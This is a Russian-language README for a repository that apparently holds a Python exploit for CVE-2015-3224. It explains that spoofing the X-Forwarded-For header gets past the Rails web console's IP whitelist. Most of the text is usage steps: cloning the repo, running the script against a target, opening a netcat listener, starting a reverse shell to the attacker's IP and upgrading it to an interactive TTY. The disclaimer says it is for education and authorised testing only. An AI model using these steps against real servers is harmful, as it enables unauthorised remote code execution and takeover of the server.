
Ruby on Rails Web Console Exploit (CVE-2015-3224)
Этот репозиторий содержит Python-скрипт для эксплуатации уязвимости обхода IP-белого списка в веб-консоли разработчика Ruby on Rails 4.0.x и 4.1.x. Скрипт позволяет выполнить удалённое выполнение кода на уязвимых серверах.
⚠️ Отказ от ответственности Этот скрипт предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его на любой системе без явного разрешения. Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим скриптом.
Веб-консоль в уязвимых версиях Ruby on Rails предназначена для целей разработки и должна быть доступна только с доверенных IP-адресов. Однако из-за неправильной обработки HTTP-заголовка X-Forwarded-For злоумышленник может подделать свой IP-адрес, чтобы выглядеть как доверенный локальный пользователь (например, 127.0.0.1 или ::1). Это обходит белый список IP и предоставляет несанкционированный доступ к веб-консоли, что приводит к удалённому выполнению кода.
requestsУстановка requests:
pip install requests
Клонируйте репозиторий:
git clone https://github.com/Sic4rio/CVE-2015-3224
cd <repo-directory>
Сделайте скрипт исполняемым:
chmod +x exploit.py
Этот режим полезен для быстрого выполнения простых команд.
./exploit.py -t http://<TARGET_IP>:<PORT>
Это рекомендуемый режим для стабильной полностью интерактивной оболочки.
На вашей локальной машине откройте новый терминал и запустите слушатель netcat.
nc -lvnp 9001
В другом терминале запустите скрипт с флагом --rev-shell, указав ваш локальный IP (lhost) и порт (lport).
./exploit.py -t http://<TARGET_IP>:<PORT> --rev-shell --lhost <YOUR_IP> --lport 9001
Подключение поступит на ваш слушатель netcat. Чтобы обновить его до полностью интерактивной TTY, выполните следующие шаги в окне netcat:
Ctrl+Z.stty raw -echo; fg
Enter, если приглашение не появится.reset
export SHELL=bash
export TERM=xterm-256color
stty rows 50 cols 120
Теперь у вас полностью функциональная и стабильная оболочка!